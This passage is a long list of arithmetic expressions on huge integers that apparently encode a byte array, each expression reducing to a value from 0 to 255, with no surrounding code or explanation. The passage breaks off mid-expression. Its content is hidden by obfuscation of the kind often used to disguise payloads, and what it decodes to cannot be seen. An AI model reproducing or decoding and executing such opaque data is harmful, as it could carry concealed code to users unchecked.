18450, 1403786273249204395808 - 1403786273249204395576, 136890414260011197435 - 136890414260011197280, (16955395912014066294 + 48608) // 2 - 8477697956007033147 - 24248, 173355508551040895244 - 173355508551040895016, (2272616933553069492 + 136474) // 2 - 1136308466776534746 - 68056, (4639705809586310908 + 63440) // 2 - 2319852904793155454 - 31655, (2996838698844794242 + 23616) // 2 - 1498419349422397121 - 11712, 19071968632384149075 - 19071968632384149020, 92528138977124738202 - 92528138977124738181, 887800804335494864160 - 887800804335494864000, 1006287187466030991996 - 1006287187466030991784, (1409775566663672006 + 42480) // 2 - 704887783331836003 - 21195, (1114350509361493292 + 35552) // 2 - 557175254680746646 - 17600, (8580430768987635806 + 67098) // 2 - 4290215384493817903 - 33338, (7879898326367532220 + 26754) // 2 - 3939949163183766110 - 13230, (5221197698488360440 + 133078) // 2 - 2610598849244180220 - 66286, (12471283734486638286 + 102480) // 2 - 6235641867243319143 - 51135, (5022609381121458602 + 54200) // 2 - 2511304690560729301 - 27000, 907729713508599482436 - 907729713508599482202, 288853841504358999570 - 288853841504358999505, 1605717140612777663928 - 1605717140612777663674, 1026886029147571413353 - 1026886029147571413184, 341217879309917747592 - 341217879309917747488, (3129685604796820454 + 194038) // 2 - 1564842802398410227 - 96798, 1804813298725107110528 - 1804813298725107110275, 116082844457789013675 - 116082844457789013600, (9529528856600521532 + 11258) // 2 - 4764764428300260766 - 5616, (10763484337838432302 + 28182) // 2 - 5381742168919216151 - 14014, 142994351955853418603 - 142994351955853418422, 1395172685553790014312 - 1395172685553790014064, 136614015798863503608 - 136614015798863503500, 411342620000658651135 - 411342620000658651056, (6492293376434833862 + 104394) // 2 - 3246146688217416931 - 52070, (4286381225104090662 + 6720) // 2 - 2143190612552045331 - 3348, 761462012727531761086 - 761462012727531760967, 208678816366317573201 - 208678816366317573174, (3945966355011962676 + 27846) // 2 - 1972983177505981338 - 13872, 1827679755961417926390 - 1827679755961417926175, 133734476232567278010 - 133734476232567277796, (370023835152066582 + 86400) // 2 - 185011917576033291 - 43040, 258582740779101469360 - 258582740779101469122, (6063687720392221288 + 6720) // 2 - 3031843860196110644 - 3350, 1102237487599616318583 - 1102237487599616318452, (9529488241131992112 + 3696) // 2 - 4764744120565996056 - 1837, (6392844731555417868 + 11172) // 2 - 3196422365777708934 - 5572, 619896601035790555925 - 619896601035790555750, 1586163537652771093423 - 1586163537652771093214, (8723335282523104406 + 63360) // 2 - 4361667641261552203 - 31504, (13961901594807187220 + 20988) // 2 - 6980950797403593610 - 10395, 880637291446918314725 - 880637291446918314534, 185948340511884495015 - 185948340511884494992, 701344322363169358955 - 701344322363169358800, (16198263755448271616 + 128068) // 2 - 8099131877724135808 - 63832, (16624714582049435894 + 119232) // 2 - 8312357291024717947 - 59409, (18063785081324418270 + 62700) // 2 - 9031892540662209135 - 31236, 230264610935219695575 - 230264610935219695458, (4654933594031959286 + 213528) // 2 - 2327466797015979643 - 106518, (15111705807675356682 + 12480) // 2 - 7555852903837678341 - 6200, (17101707345602195840 + 36704) // 2 - 8550853672801097920 - 18204, (12002361300485132516 + 69160) // 2 - 6001180650242566258 - 34390, 121229906843909843448 - 121229906843909843420, 70192710248280132348 - 70192710248280132249, (4745037072701693624 + 146188) // 2 - 2372518536350846812 - 72933, (8087855616529294490 + 133930) // 2 - 4043927808264647245 - 66738, 693060208446075337416 - 693060208446075337184, 904199384029308949446 - 904199384029308949224, 412464383098628398461 - 412464383098628398208, (2340720995611288060 + 39618) // 2 - 1170360497805644030 - 19716, 1374631663585511858060 - 1374631663585511857888, 957815537791926710442 - 957815537791926710273, 786899051988765480775 - 786899051988765480644, 293769062643993265536 - 293769062643993265485, 1025034392953740364734 - 1025034392953740364503, (16462952110272577540 + 102580) // 2 - 8231476055136288770 - 51067, (13553580019367369776 + 3920) // 2 - 6776790009683684888 - 1946, (17406027923641738548 + 27000) // 2 - 8703013961820869274 - 13473, 12837670687884810590 - 12837670687884810427, 557931630095116662310 - 557931630095116662096, 1920601012322144655639 - 1920601012322144655396, 1888477034292455863630 - 1888477034292455863421, (5944581606104510988 + 57200) // 2 - 2972290803052255494 - 28500, (8997028686749225188 + 21996) // 2 - 4498514343374612594 - 10920, 230718159877923905460 - 230718159877923905215, (12818157498048933074 + 123384) // 2 - 6409078749024466537 - 61480, (15453485858038363630 + 153120) // 2 - 7726742929019181815 - 76384, (6876225440840595646 + 67500) // 2 - 3438112720420297823 - 33600, (4503566837249928934 + 9588) // 2 - 2251783418624964467 - 4743, 1757362192858038693934 - 1757362192858038693705, 338598979804215219450 - 338598979804215219375, 676339739384044401050 - 676339739384044400973, 243087649387817000921 - 243087649387817000844, 66771696242378664452 - 66771696242378664271, (15301001242433714466 + 209100) // 2 - 7650500621216857233 - 104295, (12831719008742898568 + 110880) // 2 - 6415859504371449284 - 55260, (9552824206686813872 + 27552) // 2 - 4776412103343406936 - 13664, (5680529322376830218 + 40356) // 2 - 2840264661188415109 - 20001, (8037877912173388566 + 26368) // 2 - 4018938956086694283 - 13056, (16191705268008264536 + 87710) // 2 - 8095852634004132268 - 43610, (171607416682868126 + 136756) // 2 - 85803708341434063 - 68199, 1626879901774407563816 - 1626879901774407563595, 597617931751124085648 - 597617931751124085417, 1083516089595208107 - 1083516089595208106, (5883185858364547380 + 56320) // 2 - 2941592929182273690 - 28050, (12494821184560631148 + 126766) // 2 - 6247410592280315574 - 63142, 437579178599256519320 - 437579178599256519127, (1653853902334466448 + 196824) // 2 - 826926951167233224 - 98176, 299166694899192741288 - 299166694899192741130, (10115107812301961348 + 28634) // 2 - 5057553906150980674 - 14214, (1517217532896542998 + 36920) // 2 - 758608766448271499 - 18330, 36558134658240462540 - 36558134658240462400, 316628679154892979150 - 316628679154892979103, (5312093381295192022 + 42600) // 2 - 2656046690647596011 - 21087, (6632595530992543364 + 7452) // 2 - 3316297765496271682 - 3672, (8954966768969381844 + 113208) // 2 - 4477483384484690922 - 56392, 683726793210991964450 - 683726793210991964355, 710872955321729137894 - 710872955321729137773, 367486500266803459754 - 367486500266803459672, 368998550946517441700 - 368998550946517441600, (5879517439398764826 + 139672) // 2 - 2939758719699382413 - 69615, (8099164599110839954 + 17278) // 2 - 4049582299555419977 - 8586, (4220815664060535440 + 24786) // 2 - 2110407832030267720 - 12342, 112602178863570942675 - 112602178863570942504, (3711172674556295652 + 4560) // 2 - 1855586337278147826 - 2274, (9564108703423176384 + 47348) // 2 - 4782054351711588192 - 23585, 12774784839328150504 - 12774784839328150496, 453824777573552409804 - 453824777573552409663, (17325051107983808730 + 75670) // 2 - 8662525553991904365 - 37600, (13709369031451851942 + 108756) // 2 - 6854684515725925971 - 54264, (7999896594000766286 + 10206) // 2 - 3999948297000383143 - 5040, (11124728329614087056 + 110208) // 2 - 5562364164807043528 - 54858, 992533335352083445390 - 992533335352083445220, (16752244251995875220 + 87084) // 2 - 8376122125997937610 - 43424, (17060457061618420568 + 10320) // 2 - 8530228530809210284 - 5145, 1224254387125407614912 - 1224254387125407614704, (9655256907289716652 + 126000) // 2 - 4827628453644858326 - 62800, (14442345605496697684 + 132598) // 2 - 7221172802748348842 - 66132, 47955634529377794184 - 47955634529377794176, 199335636471450527100 - 199335636471450527055, (6821607073542126680 + 21924) // 2 - 3410803536771063340 - 10773, 315094198471434385146 - 315094198471434385107, 129958222168391220309 - 129958222168391220196, (2890382330301457560 + 1320) // 2 - 1445191165150728780 - 654, (4523240362916726636 + 106848) // 2 - 2261620181458363318 - 53280, 354892356441047727624 - 354892356441047727550, 467289720935774103010 - 467289720935774102915, (11324717239692304132 + 7460) // 2 - 5662358619846152066 - 3720, 40754297182618923498 - 40754297182618923429, (2972938772053926940 + 38700) // 2 - 1486469386026963470 - 19275, (14214931708077218214 + 20720) // 2 - 7107465854038609107 - 10323, 38719085329504590296 - 38719085329504590288, (9260135371810455472 + 33368) // 2 - 4630067685905227736 - 16490, (17434252372958555232 + 89864) // 2 - 8717126186479277616 - 44744, (8593156421789237578 + 10680) // 2 - 4296578210894618789 - 5280, (8094748803047233858 + 85410) // 2 - 4047374401523616929 - 42510, 207265546579449674368 - 207265546579449674316, (5079851426003319724 + 4870) // 2 - 2539925713001659862 - 2430, (4437884168886810260 + 27966) // 2 - 2218942084443405130 - 13924, (8718750050273981418 + 45590) // 2 - 4359375025136990709 - 22698, 1041992927058714447396 - 1041992927058714447150, 1244045354740445465954 - 1244045354740445465752, 37017874500671434488 - 37017874500671434314, (11479764660733671296 + 63474) // 2 - 5739882330366835648 - 31524, 470266761961833416280 - 470266761961833416220, 607160122700459760540 - 607160122700459760354, 1007174536817454773352 - 1007174536817454773196, 1527948711990318852384 - 1527948711990318852152, 27118636384072402080 - 27118636384072402072, 23563005694664599284 - 23563005694664599240, (2523322991458443278 + 75548) // 2 - 1261661495729221639 - 37673, (11889117909567731538 + 173162) // 2 - 5944558954783865769 - 86394, 691976588093953184008 - 691976588093953183772, (9579243311820389540 + 39658) // 2 - 4789621655910194770 - 19750, 53868424015629715075 - 53868424015629715050, 903281277225091854720 - 903281277225091854600, 46961767613995900845 - 46961767613995900830, 20349956282688391095 - 20349956282688390960, (7778486038272144594 + 36704) // 2 - 3889243019136072297 - 18315, (11746827037638123694 + 57608) // 2 - 5873413518819061847 - 28728, 676405547790354509288 - 676405547790354509196, 452608906114205734440 - 452608906114205734364, 260428107009053607706 - 260428107009053607572, (776735372822603108 + 7332) // 2 - 388367686411301554 - 3640, 119025073266433132968 - 119025073266433132955, (4386144356153830538 + 161690) // 2 - 2193072178076915269 - 80660, (6585954894697900578 + 152084) // 2 - 3292977447348950289 - 75845, (13113437814512905728 + 86344) // 2 - 6556718907256452864 - 42921, 482452081853072211920 - 482452081853072211844, 20857793106120132420 - 20857793106120132410, (9948655167720524976 + 2808) // 2 - 4974327583860262488 - 1386, (11660589185403336056 + 4560) // 2 - 5830294592701668028 - 2272, 129270727460878626370 - 129270727460878626260, 53018930273190765900 - 53018930273190765880, (17552679851896441808 + 64144) // 2 - 8776339925948220904 - 31920, (14882355917844488550 + 20280) // 2 - 7441177958922244275 - 10075, 1175597502141607169941 - 1175597502141607169702, 1235316328756057392537 - 1235316328756057392306, (8130123699751796038 + 114042) // 2 - 4065061849875898019 - 56772, (1088300390948167162 + 12390) // 2 - 544150195474083581 - 6180, 1129226007433211461750 - 1129226007433211461577, (10083720945917747912 + 3472) // 2 - 5041860472958873956 - 1705, 607799079383710642640 - 607799079383710642506, 1230794804483005825620 - 1230794804483005825450, 16148648471214993514 - 16148648471214993492, (8776748136642066260 + 19364) // 2 - 4388374068321033130 - 9588, (800023590445253060 + 80028) // 2 - 400011795222626530 - 39843, 112946860456618378570 - 112946860456618378485, (684332443097594596 + 114048) // 2 - 342166221548797298 - 56848, (11913569310873126978 + 102708) // 2 - 5956784655436563489 - 51192, 2161915783612092496070 - 2161915783612092495835, 162670232702624207850 - 162670232702624207832, 66804871108142827920 - 66804871108142827894, (9974810919782838870 + 115020) // 2 - 4987405459891419435 - 57348, 86875470201863744842 - 86875470201863744801, 50003229216630014351 - 50003229216630014334, (4906433901119753038 + 19880) // 2 - 2453216950559876519 - 9912, 1983534885670585264518 - 1983534885670585264281, 66168574817628084984 - 66168574817628084800, (14378762561170355902 + 101598) // 2 - 7189381280585177951 - 50676, (17333629969867538242 + 135702) // 2 - 8666814984933769121 - 67662, (201933686829365582 + 13694) // 2 - 100966843414682791 - 6806, 440903591799720852500 - 440903591799720852375, (9695394242782706456 + 111936) // 2 - 4847697121391353228 - 55809, 1255018814046706611525 - 1255018814046706611310, 1176694713825669325426 - 1176694713825669325292, (9619371703618072160 + 50274) // 2 - 4809685851809036080 - 25074, (620391432642375674 + 8142) // 2 - 310195716321187837 - 4048, (6031135027678445862 + 63744) // 2 - 3015567513839222931 - 31744, 593083418991411491404 - 593083418991411491223, 703932494445296985750 - 703932494445296985625, 1460568070122927389734 - 1460568070122927389568, 2380342164329884860 - 2380342164329884815, 9865087141947624657 - 9865087141947624636, 306828481863343376288 - 306828481863343376200, (1596405401143598432 + 63800) // 2 - 798202700571799216 - 31755, (12405524787656321764 + 72912) // 2 - 6202762393828160882 - 36270, 449234964827301032805 - 449234964827301032600, 186919436276534149111 - 186919436276534149062, 78205661800880549886 - 78205661800880549877, 1363880546174248718850 - 1363880546174248718700, 150361379840128981104 - 150361379840128980852, 895659106090228888545 - 895659106090228888346, 985022952712822316936 - 985022952712822316812, 337483550124193885454 - 337483550124193885237, 46409225101748899456 - 46409225101748899424, (9054467325199357022 + 72812) // 2 - 4527233662599678511 - 36188, 1303067396535808794480 - 1303067396535808794300, (10605028998047635938 + 246960) // 2 - 5302514499023817969 - 123228, 188903047455117348309 - 188903047455117348230, (4400991189084198050 + 240560) // 2 - 2200495594542099025 - 120032, (7608081139132295006 + 197800) // 2 - 3804040569566147503 - 98670, (300338926616662272 + 99000) // 2 - 150169463308331136 - 49390, 1136815948055654993695 - 1136815948055654993490, 44861390526227104948 - 44861390526227104880, 17563949270671599334 - 17563949270671599320, (11486955217075007940 + 59280) // 2 - 5743477608537503970 - 29545, 483736652340566660667 - 483736652340566660424, 509796250601111136141 - 509796250601111136084, (11724661280414894394 + 84108) // 2 - 5862330640207447197 - 41891, 876594030775271107797 - 876594030775271107656, (6743877868490563132 + 5472) // 2 - 3371938934245281566 - 2718, 1792440886703863178208 - 1792440886703863177980, 697095169981832000520 - 697095169981832000412, (9140051770629914066 + 131528) // 2 - 4570025885314957033 - 65600, (2592739934806916006 + 44776) // 2 - 1296369967403458003 - 22195, 1134457870946036922000 - 1134457870946036921856, 236763564108652906380 - 236763564108652906248, 532927983546119888924 - 532927983546119888832, 171203507708196583224 - 171203507708196583125, 0 - 0, 307169220988405525825 - 307169220988405525590, (7477088174022804002 + 73370) // 2 - 3738544087011402001 - 36570, 22698405838559475783 - 22698405838559475750, 369507168168719777104 - 369507168168719776956, 544574873737832000316 - 544574873737832000250, 979788222159364242108 - 979788222159364241880, 1327290500238214953 - 1327290500238214950, 1299228242870539188468 - 1299228242870539188306, (7819987808525775626 + 130032) // 2 - 3909993904262887813 - 64844, (2810923792359673676 + 36288) // 2 - 1405461896179836838 - 18018, 0 - 0, (13610449853578576448 + 148672) // 2 - 6805224926789288224 - 74134, (9760780682272509302 + 95260) // 2 - 4880390341136254651 - 47520, (2723170693972408082 + 77470) // 2 - 1361585346986204041 - 38608, (15568798635280348094 + 57876) // 2 - 7784399317640174047 - 28847, 305630581924213577694 - 305630581924213577447, (11913327526363329758 + 109340) // 2 - 5956663763181664879 - 54528, (9121542778507357438 + 230574) // 2 - 4560771389253678719 - 115038, (1646378136491130070 + 4700) // 2 - 823189068245565035 - 2325, 744821475786140474722 - 744821475786140474540, (5239820472372707760 + 57620) // 2 - 2619910236186353880 - 28595, 274371343531369835016 - 274371343531369834934, (8022648963218218380 + 10692) // 2 - 4011324481609109190 - 5280, (16248489312391727700 + 43776) // 2 - 8124244656195863850 - 21660, (10757703538035415840 + 94620) // 2 - 5378851769017707920 - 47061, (7177850064969133094 + 27136) // 2 - 3588925032484566547 - 13356, 154411558785267586910 - 154411558785267586815, 227290735495596576726 - 227290735495596576699, (2782474083956349022 + 20148) // 2 - 1391237041978174511 - 9928, 261812324045795169960 - 261812324045795169888, 399417292027796325633 - 399417292027796325570, 230309663613756481860 - 230309663613756481825, 679472165317487730415 - 679472165317487730302, (11540303532406144466 + 41728) // 2 - 5770151766203072233 - 20736, (626130852347453526 + 193228) // 2 - 313065426173726763 - 96408, 686745500836163389854 - 686745500836163389680, (935127968857558986 + 245872) // 2 - 467563984428779493 - 122682, 599480494035412981050 - 599480494035412980909, 326941015958725851580 - 326941015958725851488, (11884922791566480776 + 33000) // 2 - 5942461395783240388 - 16456, (17876230634518668370 + 125664) // 2 - 8938115317259334185 - 62628, (4876797799465401796 + 125416) // 2 - 2438398899732700898 - 62464, (3164944418117655978 + 183024) // 2 - 1582472209058827989 - 91326, 600198534930489956043 - 600198534930489955974, (17280248347111841390 + 141414) // 2 - 8640124173555920695 - 70560, 1589833925606760858540 - 1589833925606760858352, (12182432581717500682 + 108006) // 2 - 6091216290858750341 - 53862, 1219000347965170692320 - 1219000347965170692184, (11110749109991932778 + 99072) // 2 - 5555374554995966389 - 49407, (2415432728915440380 + 64636) // 2 - 1207716364457720190 - 32175, 261047460797182432288 - 261047460797182432196, (11880269148545921216 + 10956) // 2 - 5940134574272960608 - 5412, 2975077992828243900 - 2975077992828243744, (1268079028937854048 + 189010) // 2 - 634039514468927024 - 94300, (12375457414104558924 + 144480) // 2 - 6187728707052279462 - 72025, (6010997358998855186 + 106680) // 2 - 3005498679499427593 - 53086, (3717865321837194774 + 158040) // 2 - 1858932660918597387 - 78840, (14579299602583269506 + 91500) // 2 - 7289649801291634753 - 45600, (15265971494948691522 + 3696) // 2 - 7632985747474345761 - 1827, (1814199886019349396 + 36716) // 2 - 907099943009674698 - 18291, 456677863061194836864 - 456677863061194836736, (16859413364331296028 + 23184) // 2 - 8429706682165648014 - 11431, (16498596421668034536 + 59986) // 2 - 8249298210834017268 - 29904, (1875945061565965818 + 48180) // 2 - 937972530782982909 - 23980, (9702568287803543576 + 119040) // 2 - 4851284143901771788 - 59365, 68727506861977567425 - 68727506861977567350, (16710354472384165172 + 85100) // 2 - 8355177236192082586 - 42365, (5984828830285766522 + 990) // 2 - 2992414415142883261 - 490, (7956853854713523226 + 54646) // 2 - 3978426927356761613 - 27234, (298598926981083852 + 52608) // 2 - 149299463490541926 - 26240, 9908594875604897949 - 9908594875604897888, (3555340642723751012 + 43680) // 2 - 1777670321361875506 - 21749, 399185206333513890521 - 399185206333513890444, (7116219021889266576 + 22400) // 2 - 3558109510944633288 - 11120, 1308911108837353533102 - 1308911108837353532928, (3333740701920250076 + 10736) // 2 - 1666870350960125038 - 5280, 239414121391315624686 - 239414121391315624592, 64459651127220019048 - 64459651127220019040, (13797602002361821022 + 47628) // 2 - 6898801001180910511 - 23667, 354349289921427578970 - 354349289921427578925, 1410328971120368454168 - 1410328971120368453932, (6391238846868614914 + 43848) // 2 - 3195619423434307457 - 21750, 1526019954180086872248 - 1526019954180086872026, 481949796465216520182 - 481949796465216520100, 17382788857609768209 - 17382788857609768206, 411223554421502959380 - 411223554421502959203, (14264376317909256964 + 1920) // 2 - 7132188158954628482 - 955, 880377096014979832290 - 880377096014979832080, (15295073191637971562 + 123728) // 2 - 7647536595818985781 - 61716, (8193062030564310876 + 83352) // 2 - 4096531015282155438 - 41584, 1027646804706030942640 - 1027646804706030942470, (13139124491195136430 + 169068) // 2 - 6569562245597568215 - 84315, (746376298330389412 + 30240) // 2 - 373188149165194706 - 14985, (10269749007130705408 + 78084) // 2 - 5134874503565352704 - 38880, (15428855452672114126 + 3906) // 2 - 7714427726336057063 - 1944, 62631829846594569498 - 62631829846594569491, (6598424590959869078 + 34026) // 2 - 3299212295479934539 - 16854, 852127397465437078163 - 852127397465437078032, (12009863872120113510 + 45878) // 2 - 6004931936060056755 - 22826, 876571326413204330664 - 876571326413204330527, (4387088087992092980 + 91020) // 2 - 2193544043996046490 - 45288, (16123940494345350992 + 167668) // 2 - 8061970247172675496 - 83583, 1137456262230435702045 - 1137456262230435701910, (15233024693630360808 + 116090) // 2 - 7616512346815180404 - 57810, 170099183168785341496 - 170099183168785341450, (11284477949040712310 + 11088) // 2 - 5642238974520356155 - 5467, (18354548532729721126 + 56434) // 2 - 9177274266364860563 - 28078, (11193284735361951980 + 48034) // 2 - 5596642367680975990 - 23944, 865676648377332632511 - 865676648377332632412, (14784217926103321056 + 4600) // 2 - 7392108963051660528 - 2254, 132672588776013541230 - 132672588776013541092, 759414510221864552786 - 759414510221864552572, 909328671054150125896 - 909328671054150125760, (5110675034777962858 + 75756) // 2 - 2555337517388981429 - 37760, (12355828796775035374 + 51090) // 2 - 6177914398387517687 - 25480, 800191877448327564486 - 800191877448327564348, 190937862197922104034 - 190937862197922103968, 101786917996173261950 - 101786917996173261936, 84279613441520888094 - 84279613441520888028, 1022045500366938102438 - 1022045500366938102192, (12130618498567421914 + 28426) // 2 - 6065309249283710957 - 14152, 131165700178386952254 - 131165700178386952188, (10313821440265835258 + 188640) // 2 - 5156910720132917629 - 94080, 17468802667197670432 - 17468802667197670418, 216540929423889925866 - 216540929423889925800, (18097566302742623100 + 139160) // 2 - 9048783151371311550 - 69440, 552796979239276992780 - 552796979239276992674, (6021428858775314630 + 13262) // 2 - 3010714429387657315 - 6612, (1299693381943136424 + 9724) // 2 - 649846690971568212 - 4840, 24663637108130700358 - 24663637108130700344, (14619382605097984646 + 96496) // 2 - 7309691302548992323 - 48100, (4850029679056706668 + 7630) // 2 - 2425014839528353334 - 3780, 203971864837654723744 - 203971864837654723700, (1368637409763001788 + 97512) // 2 - 684318704881500894 - 48552, 8739259734056534452 - 8739259734056534265, 363143715255882697196 - 363143715255882697138, 225876354841971982188 - 225876354841971982119, 1023511382057943979116 - 1023511382057943979000, (5912663839461174948 + 3300) // 2 - 2956331919730587474 - 1620, (15589904088314148028 + 4680) // 2 - 7794952044157074014 - 2314, 510260481812748317752 - 510260481812748317684, 406666014395153063872 - 406666014395153063808, (15773215080759435868 + 36740) // 2 - 7886607540379717934 - 18203, (2076126118854076946 + 58374) // 2 - 1038063059427038473 - 29118, 383252703703749165546 - 383252703703749165400, (3873225843080796718 + 52428) // 2 - 1936612921540398359 - 26112, 294718482628693279090 - 294718482628693279035, (4336431169445548762 + 75240) // 2 - 2168215584722774381 - 37488, 13208616230437888710 - 13208616230437888705, (8373883315637842054 + 27072) // 2 - 4186941657818921027 - 13488, 15669487467961708095 - 15669487467961708090, (9419817451954514310 + 93450) // 2 - 4709908725977257155 - 46620, (7167182530798794082 + 178596) // 2 - 3583591265399397041 - 89056, (14894735066559306556 + 59892) // 2 - 7447367533279653278 - 29853, 1081355372255368524402 - 1081355372255368524204, (6684070663651293952 + 22032) // 2 - 3342035331825646976 - 10935, (2007222421454465404 + 112488) // 2 - 1003611210727232702 - 56072, 1836870843010503391758 - 1836870843010503391515, (15673946370773820060 + 44310) // 2 - 7836973185386910030 - 22050, (16741188211637239788 + 33312) // 2 - 8370594105818619894 - 16608, (10129403428408998028 + 60348) // 2 - 5064701714204499014 - 30033, 68062598605034005533 - 68062598605034005522, (12419620130264190736 + 49348) // 2 - 6209810065132095368 - 24505, (16703969565582912336 + 97216) // 2 - 8351984782791456168 - 48360, 926497778549254904125 - 926497778549254903950, (7516492920599002302 + 33408) // 2 - 3758246460299501151 - 16472, 241537519210671323258 - 241537519210671323116, (10150250306366799438 + 82216) // 2 - 5075125153183399719 - 40936, 1155181192094482481550 - 1155181192094482481400, (6584859092812805750 + 153720) // 2 - 3292429546406402875 - 76650, (11491973006244364838 + 50292) // 2 - 5745986503122182419 - 25019, 86577901631465690036 - 86577901631465690007, (2755556243487928914 + 63180) // 2 - 1377778121743964457 - 31473, 1246368066763564496257 - 1246368066763564496048, 552702836907242235070 - 552702836907242234952, (18405642559341548196 + 15996) // 2 - 9202821279670774098 - 7936, 621090792730748375518 - 621090792730748375399, (15680445540257515662 + 37136) // 2 - 7840222770128757831 - 18524, 1371061839577410119588 - 1371061839577410119352, 663051051497716869846 - 663051051497716869737, (18428329830311461136 + 189728) // 2 - 9214164915155730568 - 94622, 758557036121871832155 - 758557036121871832044, 566867632307990584536 - 566867632307990584352, (54568311300566154 + 38420) // 2 - 27284155650283077 - 19097, 100772776865239885868 - 100772776865239885824, 246547981034680140880 - 246547981034680140840, (10671251906805654382 + 149810) // 2 - 5335625953402827191 - 74694, (3891600953425970346 + 39744) // 2 - 1945800476712985173 - 19764, (11720125756097331120 + 78740) // 2 - 5860062878048665560 - 39215, 182660191741294147842 - 182660191741294147708, 730662029410889856046 - 730662029410889855799, (9433161515775168140 + 29532) // 2 - 4716580757887584070 - 14552, (6427886076400274318 + 27200) // 2 - 3213943038200137159 - 13520, (17347471860296253500 + 19968) // 2 - 8673735930148126750 - 9888, (4721940919026030050 + 90132) // 2 - 2360970459513015025 - 44844, (4820085571103108754 + 118490) // 2 - 2410042785551554377 - 59040, (18036868549060936328 + 27232) // 2 - 9018434274530468164 - 13570, 894658625398584162196 - 894658625398584161997, 443629029622849783800 - 443629029622849783740, (12421148820900760178 + 2550) // 2 - 6210574410450380089 - 1272, (16625968927193571894 + 78240) // 2 - 8312984463596785947 - 38957, (2901381450946075672 + 161120) // 2 - 1450690725473037836 - 80348, 413646736704035159568 - 413646736704035159517, 1285417478115860883246 - 1285417478115860883093, (4051565528420088462 + 177946) // 2 - 2025782764210044231 - 88780, 286011005780331333495 - 286011005780331333460, (14549084286757060818 + 5940) // 2 - 7274542143378530409 - 2943, (8881741051284542842 + 58316) // 2 - 4440870525642271421 - 29036, (16704157726019881528 + 152118) // 2 - 8352078863009940764 - 75816, (15078707745642287478 + 77700) // 2 - 7539353872821143739 - 38665, (11128923887602026986 + 22302) // 2 - 5564461943801013493 - 10962, (15449815976864688548 + 44604) // 2 - 7724907988432344274 - 22113, 1284705294025540846236 - 1284705294025540846063, (6373835773322144360 + 37464) // 2 - 3186917886661072180 - 18690, 76946890533087814305 - 76946890533087814290, (910822489460688440 + 54230) // 2 - 455411244730344220 - 27030, (1057926095562521626 + 14850) // 2 - 528963047781260813 - 7380, (10289025103011243922 + 171114) // 2 - 5144512551505621961 - 85320, (15195797705094005256 + 135488) // 2 - 7597898852547002628 - 67598, 605802943268317546552 - 605802943268317546404, 334456293146804187200 - 334456293146804187000, 198799167508214930736 - 198799167508214930625, 398722437251756640720 - 398722437251756640648, (3284053579310213142 + 50024) // 2 - 1642026789655106571 - 24960, 20958718771485873357 - 20958718771485873180, (6942035955540048844 + 53530) // 2 - 3471017977770024422 - 26664, (1621229312913355486 + 42436) // 2 - 810614656456677743 - 21012, 1220453190005362200480 - 1220453190005362200306, 13504914614818800992 - 13504914614818800976, 7597770490108282496 - 7597770490108282488, (15643932725809151774 + 146624) // 2 - 7821966362904575887 - 73154, 511308178964283590470 - 511308178964283590247, 17552711732340630896 - 17552711732340630873, 617339954794138818638 - 617339954794138818429, 501029349482280848000 - 501029349482280847900, (3740858883531465782 + 10980) // 2 - 1870429441765732891 - 5400, (10376599011279766 + 187384) // 2 - 5188299505639883 - 93456, 1356312918732579847459 - 1356312918732579847242, 141645174075407525520 - 141645174075407525472, (13058836423537407858 + 25760) // 2 - 6529418211768703929 - 12740, (7689699616434030722 + 63732) // 2 - 3844849808217015361 - 31772, 504331210212522797520 - 504331210212522797448, (4440485944700435518 + 58956) // 2 - 2220242972350217759 - 29376, 1726319852929148941200 - 1726319852929148940980, (1033286811343605584 + 180712) // 2 - 516643405671802792 - 90160, 714020376320276159160 - 714020376320276159004, 642489067766565101592 - 642489067766565101491, 470730905480129893055 - 470730905480129892850, (3713243330269829378 + 96824) // 2 - 1856621665134914689 - 48314, (14568980096582044534 + 4464) // 2 - 7284490048291022267 - 2226, 2074424140018380455775 - 2074424140018380455532, 803701147038318494408 - 803701147038318494220, 879577065214078266390 - 879577065214078266220, (17452524688135120212 + 106640) // 2 - 8726262344067560106 - 53072, 462155147079218980290 - 462155147079218980068, 74025917423315513649 - 74025917423315513622, 510241453286204625631 - 510241453286204625542, (16200558398110301518 + 105600) // 2 - 8100279199055150759 - 52600, (14909244492430831644 + 31476) // 2 - 7454622246215415822 - 15652, (13281031996200240898 + 32844) // 2 - 6640515998100120449 - 16376, (2981666348686322968 + 153180) // 2 - 1490833174343161484 - 76368, 824644417760229034080 - 824644417760229033828, (4137429284138126108 + 28900) // 2 - 2068714642069063054 - 14400, (16066909582831214686 + 89440) // 2 - 8033454791415607343 - 44616, 1123657801528709918458 - 1123657801528709918247, (13392328276629219208 + 136904) // 2 - 6696164138314609604 - 68234, (4980648958493571334 + 22272) // 2 - 2490324479246785667 - 10944, 523722476936347613728 - 523722476936347613652, 53606463328811735595 - 53606463328811735430, (3929925480337017334 + 27886) // 2 - 1964962740168508667 - 13870, 1086131207914125442889 - 1086131207914125442698, (5657146437823064848 + 84958) // 2 - 2828573218911532424 - 42372, 1190193878960748281940 - 1190193878960748281809, (14515063066984399622 + 60602) // 2 - 7257531533492199811 - 30108, (3809539220779830716 + 44892) // 2 - 1904769610389915358 - 22317, 131286768901173814213 - 131286768901173814112, (15170460029491130758 + 20800) // 2 - 7585230014745565379 - 10368, (173434702395346218 + 7326) // 2 - 86717351197673109 - 3626, 1439790559610358737656 - 1439790559610358737420, 495281330658684809593 - 495281330658684809504, (11198604482042069338 + 444) // 2 - 5599302241021034669 - 221, (1480257439422381680 + 201204) // 2 - 740128719711190840 - 100359, 1018809405358698807348 - 1018809405358698807214, (16175836057126669334 + 5328) // 2 - 8087918028563334667 - 2652, (4873275041018494622 + 25536) // 2 - 2436637520509247311 - 12600, (13583678058717641734 + 65702) // 2 - 6791839029358820867 - 32604, 1146586982823249035904 - 1146586982823249035742, (2156289441952703748 + 48678) // 2 - 1078144720976351874 - 24282, (5133826974192344518 + 22736) // 2 - 2566913487096172259 - 11165, (9709923477342021136 + 149556) // 2 - 4854961738671010568 - 74572, 791017863729845714990 - 791017863729845714835, 485171959254708332607 - 485171959254708332404, (34617985667455610 + 196748) // 2 - 17308992833727805 - 98172, 145556055934679632935 - 145556055934679632858, (5236008185260200502 + 35328) // 2 - 2618004092630100251 - 17595, (10913661139167046696 + 82622) // 2 - 5456830569583523348 - 41202, 406315067208499338045 - 406315067208499337850, 306793842999329489760 - 306793842999329489628, 154353920960890259160 - 154353920960890258996, 245506882818265679226 - 245506882818265679017, 886968299546433546718 - 886968299546433546612, 274359732862982991084 - 274359732862982991048, 76317517399015727520 - 76317517399015727505, 432327623317379702927 - 432327623317379702800, (10350178143648550272 + 122892) // 2 - 5175089071824275136 - 61215, 295477793071635258090 - 